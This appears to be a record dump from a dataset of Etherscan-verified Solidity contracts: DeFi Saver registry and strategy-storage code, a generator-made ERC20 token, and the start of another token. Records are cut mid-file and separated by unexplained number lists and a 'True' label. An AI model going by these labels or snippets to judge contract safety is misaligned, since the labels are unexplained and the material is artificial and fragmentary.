function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
contract DFSRegistry is AdminAuth {
error EntryAlreadyExistsError(bytes4);
error EntryNonExistentError(bytes4);
error EntryNotInChangeError(bytes4);
error ChangeNotReadyError(uint256,uint256);
error EmptyPrevAddrError(bytes4);
error AlreadyInContractChangeError(bytes4);
error AlreadyInWaitPeriodChangeError(bytes4);
event AddNewContract(address,bytes4,address,uint256);
event RevertToPreviousAddress(address,bytes4,address,address);
event StartContractChange(address,bytes4,address,address);
event ApproveContractChange(address,bytes4,address,address);
event CancelContractChange(address,bytes4,address,address);
event StartWaitPeriodChange(address,bytes4,uint256);
event ApproveWaitPeriodChange(address,bytes4,uint256,uint256);
event CancelWaitPeriodChange(address,bytes4,uint256,uint256);
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inContractChange;
bool inWaitPeriodChange;
bool exists;
}
mapping(bytes4 => Entry) public entries;
mapping(bytes4 => address) public previousAddresses;
mapping(bytes4 => address) public pendingAddresses;
mapping(bytes4 => uint256) public pendingWaitTimes;
/// @notice Given an contract id returns the registered address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes4 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registered
/// @param _id Id of contract
function isRegistered(bytes4 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes4 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
if (entries[_id].exists){
revert EntryAlreadyExistsError(_id);
}
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inContractChange: false,
inWaitPeriodChange: false,
exists: true
});
emit AddNewContract(msg.sender, _id, _contractAddr, _waitPeriod);
}
/// @notice Reverts to the previous address immediately
/// @dev In case the new version has a fault, a quick way to fallback to the old contract
/// @param _id Id of contract
function revertToPreviousAddress(bytes4 _id) public onlyOwner {
if (!(entries[_id].exists)){
revert EntryNonExistentError(_id);
}
if (previousAddresses[_id] == address(0)){
revert EmptyPrevAddrError(_id);
}
address currentAddr = entries[_id].contractAddr;
entries[_id].contractAddr = previousAddresses[_id];
emit RevertToPreviousAddress(msg.sender, _id, currentAddr, previousAddresses[_id]);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes4 _id, address _newContractAddr) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inWaitPeriodChange){
revert AlreadyInWaitPeriodChangeError(_id);
}
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inContractChange = true;
pendingAddresses[_id] = _newContractAddr;
emit StartContractChange(msg.sender, _id, entries[_id].contractAddr, _newContractAddr);
}
/// @notice Changes new contract address, correct time must have passed
/// @param _id Id of contract
function approveContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){// solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
previousAddresses[_id] = oldContractAddr;
emit ApproveContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
emit CancelContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Starts the change for waitPeriod
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time
function startWaitPeriodChange(bytes4 _id, uint256 _newWaitPeriod) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inContractChange){
revert AlreadyInContractChangeError(_id);
}
pendingWaitTimes[_id] = _newWaitPeriod;
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inWaitPeriodChange = true;
emit StartWaitPeriodChange(msg.sender, _id, _newWaitPeriod);
}
/// @notice Changes new wait period, correct time must have passed
/// @param _id Id of contract
function approveWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){ // solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
uint256 oldWaitTime = entries[_id].waitPeriod;
entries[_id].waitPeriod = pendingWaitTimes[_id];
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
pendingWaitTimes[_id] = 0;
emit ApproveWaitPeriodChange(msg.sender, _id, oldWaitTime, entries[_id].waitPeriod);
}
/// @notice Cancel wait period change
/// @param _id Id of contract
function cancelWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
uint256 oldWaitPeriod = pendingWaitTimes[_id];
pendingWaitTimes[_id] = 0;
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
emit CancelWaitPeriodChange(msg.sender, _id, oldWaitPeriod, entries[_id].waitPeriod);
}
}
contract StrategyModel {
bytes4 constant STRATEGY_STORAGE_ID = bytes4(keccak256("StrategyStorage"));
bytes4 constant SUB_STORAGE_ID = bytes4(keccak256("SubStorage"));
bytes4 constant BUNDLE_STORAGE_ID = bytes4(keccak256("BundleStorage"));
/// @dev Group of strategies bundled together so user can sub to multiple strategies at once
/// @param creator Address of the user who created the bundle
/// @param strategyIds Array of strategy ids stored in StrategyStorage
struct StrategyBundle {
address creator;
uint64[] strategyIds;
}
/// @dev Template/Class which defines a Strategy
/// @param name Name of the strategy useful for logging what strategy is executing
/// @param creator Address of the user which created the strategy
/// @param triggerIds Array of identifiers for trigger - bytes4(keccak256(TriggerName))
/// @param actionIds Array of identifiers for actions - bytes4(keccak256(ActionName))
/// @param paramMapping Describes how inputs to functions are piped from return/subbed values
/// @param continuous If the action is repeated (continuos) or one time
struct Strategy {
string name;
address creator;
bytes4[] triggerIds;
bytes4[] actionIds;
uint8[][] paramMapping;
bool continuous;
}
/// @dev List of actions grouped as a recipe
/// @param name Name of the recipe useful for logging what recipe is executing
/// @param callData Array of calldata inputs to each action
/// @param subData Used only as part of strategy, subData injected from StrategySub.subData
/// @param actionIds Array of identifiers for actions - bytes4(keccak256(ActionName))
/// @param paramMapping Describes how inputs to functions are piped from return/subbed values
struct Recipe {
string name;
bytes[] callData;
bytes32[] subData;
bytes4[] actionIds;
uint8[][] paramMapping;
}
/// @dev Actual data of the sub we store on-chain
/// @dev In order to save on gas we store a keccak256(StrategySub) and verify later on
/// @param userProxy Address of the users smart wallet/proxy
/// @param isEnabled Toggle if the subscription is active
/// @param strategySubHash Hash of the StrategySub data the user inputted
struct StoredSubData {
bytes20 userProxy; // address but put in bytes20 for gas savings
bool isEnabled;
bytes32 strategySubHash;
}
/// @dev Instance of a strategy, user supplied data
/// @param strategyOrBundleId Id of the strategy or bundle, depending on the isBundle bool
/// @param isBundle If true the id points to bundle, if false points directly to strategyId
/// @param triggerData User supplied data needed for checking trigger conditions
/// @param subData User supplied data used in recipe
struct StrategySub {
uint64 strategyOrBundleId;
bool isBundle;
bytes[] triggerData;
bytes32[] subData;
}
}
contract StrategyStorage is StrategyModel, AdminAuth {
Strategy[] public strategies;
bool public openToPublic = false;
error NoAuthToCreateStrategy(address,bool);
event StrategyCreated(uint256 indexed);
modifier onlyAuthCreators {
if (adminVault.owner() != msg.sender && openToPublic == false) {
revert NoAuthToCreateStrategy(msg.sender, openToPublic);
}
_;
}
/// @notice Creates a new strategy and writes the data in an array
/// @dev Can only be called by auth addresses if it's not open to public
/// @param _name Name of the strategy useful for logging what strategy is executing
/// @param _triggerIds Array of identifiers for trigger - bytes4(keccak256(TriggerName))
/// @param _actionIds Array of identifiers for actions - bytes4(keccak256(ActionName))
/// @param _paramMapping Describes how inputs to functions are piped from return/subbed values
/// @param _continuous If the action is repeated (continuos) or one time
function createStrategy(
string memory _name,
bytes4[] memory _triggerIds,
bytes4[] memory _actionIds,
uint8[][] memory _paramMapping,
bool _continuous
) public onlyAuthCreators returns (uint256) {
strategies.push(Strategy({
name: _name,
creator: msg.sender,
triggerIds: _triggerIds,
actionIds: _actionIds,
paramMapping: _paramMapping,
continuous : _continuous
}));
emit StrategyCreated(strategies.length - 1);
return strategies.length - 1;
}
/// @notice Switch to determine if bundles can be created by anyone
/// @dev Callable only by the owner
/// @param _openToPublic Flag if true anyone can create bundles
function changeEditPermission(bool _openToPublic) public onlyOwner {
openToPublic = _openToPublic;
}
////////////////////////////// VIEW METHODS /////////////////////////////////
function getStrategy(uint _strategyId) public view returns (Strategy memory) {
return strategies[_strategyId];
}
function getStrategyCount() public view returns (uint256) {
return strategies.length;
}
function getPaginatedStrategies(uint _page, uint _perPage) public view returns (Strategy[] memory) {
Strategy[] memory strategiesPerPage = new Strategy[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
end = (end > strategies.length) ? strategies.length : end;
uint count = 0;
for (uint i = start; i < end; i++) {
strategiesPerPage[count] = strategies[i];
count++;
}
return strategiesPerPage;
}
}
contract MainnetCoreAddresses {
address internal constant REGISTRY_ADDR = 0x287778F121F134C66212FB16c9b53eC991D32f5b;
address internal constant PROXY_AUTH_ADDR = 0xD489FfAEEB46b2d7E377850d45E1F8cA3350fc82;
address internal constant DEFISAVER_LOGGER = 0xcE7a977Cac4a481bc84AC06b2Da0df614e621cf3;
}
contract CoreHelper is MainnetCoreAddresses {
}
contract BundleStorage is StrategyModel, AdminAuth, CoreHelper {
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
StrategyBundle[] public bundles;
bool public openToPublic = false;
error NoAuthToCreateBundle(address,bool);
error DiffTriggersInBundle(uint64[]);
event BundleCreated(uint256);
modifier onlyAuthCreators {
if (adminVault.owner() != msg.sender && openToPublic == false) {
revert NoAuthToCreateBundle(msg.sender, openToPublic);
}
_;
}
/// @dev Checks if the triggers in strategies are the same (order also relevant)
/// @dev If the caller is not owner we do additional checks, we skip those checks for gas savings
modifier sameTriggers(uint64[] memory _strategyIds) {
if (msg.sender != adminVault.owner()) {
address strategyStorageAddr = registry.getAddr(STRATEGY_STORAGE_ID);
Strategy memory firstStrategy = StrategyStorage(strategyStorageAddr).getStrategy(_strategyIds[0]);
bytes32 firstStrategyTriggerHash = keccak256(abi.encode(firstStrategy.triggerIds));
for (uint256 i = 1; i < _strategyIds.length; ++i) {
Strategy memory s = StrategyStorage(strategyStorageAddr).getStrategy(_strategyIds[i]);
if (firstStrategyTriggerHash != keccak256(abi.encode(s.triggerIds))) {
revert DiffTriggersInBundle(_strategyIds);
}
}
}
_;
}
/// @notice Adds a new bundle to array
/// @dev Can only be called by auth addresses if it's not open to public
/// @dev Strategies need to have the same number of triggers and ids exists
/// @param _strategyIds Array of strategyIds that go into a bundle
function createBundle(
uint64[] memory _strategyIds
) public onlyAuthCreators sameTriggers(_strategyIds) returns (uint256) {
bundles.push(StrategyBundle({
creator: msg.sender,
strategyIds: _strategyIds
}));
emit BundleCreated(bundles.length - 1);
return bundles.length - 1;
}
/// @notice Switch to determine if bundles can be created by anyone
/// @dev Callable only by the owner
/// @param _openToPublic Flag if true anyone can create bundles
function changeEditPermission(bool _openToPublic) public onlyOwner {
openToPublic = _openToPublic;
}
////////////////////////////// VIEW METHODS /////////////////////////////////
function getStrategyId(uint256 _bundleId, uint256 _strategyIndex) public view returns (uint256) {
return bundles[_bundleId].strategyIds[_strategyIndex];
}
function getBundle(uint _bundleId) public view returns (StrategyBundle memory) {
return bundles[_bundleId];
}
function getBundleCount() public view returns (uint256) {
return bundles.length;
}
function getPaginatedBundles(uint _page, uint _perPage) public view returns (StrategyBundle[] memory) {
StrategyBundle[] memory bundlesPerPage = new StrategyBundle[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
end = (end > bundles.length) ? bundles.length : end;
uint count = 0;
for (uint i = start; i < end; i++) {
bundlesPerPage[count] = bundles[i];
count++;
}
return bundlesPerPage;
}
}
contract SubStorage is StrategyModel, AdminAuth, CoreHelper {
error SenderNotSubOwnerError(address, uint256);
error UserPositionsEmpty();
error SubIdOutOfRange(uint256, bool);
event Subscribe(uint256 indexed, address indexed, bytes32 indexed, StrategySub);
event UpdateData(uint256 indexed, bytes32 indexed, StrategySub);
event ActivateSub(uint256 indexed);
event DeactivateSub(uint256 indexed);
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
StoredSubData[] public strategiesSubs;
/// @notice Checks if subId is init. and if the sender is the owner
modifier onlySubOwner(uint256 _subId) {
if (address(strategiesSubs[_subId].userProxy) != msg.sender) {
revert SenderNotSubOwnerError(msg.sender, _subId);
}
_;
}
/// @notice Checks if the id is valid (points to a stored bundle/sub)
modifier isValidId(uint256 _id, bool _isBundle) {
if (_isBundle) {
if (_id > (BundleStorage(registry.getAddr(BUNDLE_STORAGE_ID)).getBundleCount() - 1)) {
revert SubIdOutOfRange(_id, _isBundle);
}
} else {
if (_id > (StrategyStorage(registry.getAddr(STRATEGY_STORAGE_ID)).getStrategyCount() - 1)) {
revert SubIdOutOfRange(_id, _isBundle);
}
}
_;
}
/// @notice Adds users info and records StoredSubData, logs StrategySub
/// @dev To save on gas we don't store the whole struct but rather the hash of the struct
/// @param _sub Subscription struct of the user (is not stored on chain, only the hash)
function subscribeToStrategy(
StrategySub memory _sub
) public isValidId(_sub.strategyOrBundleId, _sub.isBundle) returns (uint256) {
bytes32 subStorageHash = keccak256(abi.encode(_sub));
strategiesSubs.push(StoredSubData(
bytes20(msg.sender),
true,
subStorageHash
));
uint256 currentId = strategiesSubs.length - 1;
emit Subscribe(currentId, msg.sender, subStorageHash, _sub);
return currentId;
}
/// @notice Updates the users subscription data
/// @dev Only callable by proxy who created the sub.
/// @param _subId Id of the subscription to update
/// @param _sub Subscription struct of the user (needs whole struct so we can hash it)
function updateSubData(
uint256 _subId,
StrategySub calldata _sub
) public onlySubOwner(_subId) isValidId(_sub.strategyOrBundleId, _sub.isBundle) {
StoredSubData storage storedSubData = strategiesSubs[_subId];
bytes32 subStorageHash = keccak256(abi.encode(_sub));
storedSubData.strategySubHash = subStorageHash;
emit UpdateData(_subId, subStorageHash, _sub);
}
/// @notice Enables the subscription for execution if disabled
/// @dev Must own the sub. to be able to enable it
/// @param _subId Id of subscription to enable
function activateSub(
uint _subId
) public onlySubOwner(_subId) {
StoredSubData storage sub = strategiesSubs[_subId];
sub.isEnabled = true;
emit ActivateSub(_subId);
}
/// @notice Disables the subscription (will not be able to execute the strategy for the user)
/// @dev Must own the sub. to be able to disable it
/// @param _subId Id of subscription to disable
function deactivateSub(
uint _subId
) public onlySubOwner(_subId) {
StoredSubData storage sub = strategiesSubs[_subId];
sub.isEnabled = false;
emit DeactivateSub(_subId);
}
///////////////////// VIEW ONLY FUNCTIONS ////////////////////////////
function getSub(uint _subId) public view returns (StoredSubData memory) {
return strategiesSubs[_subId];
}
function getSubsCount() public view returns (uint256) {
return strategiesSubs.length;
}
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1007,
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1013,
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1010,
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1996,
3643,
2513,
2005,
2025,
102
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/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-06
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.5;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
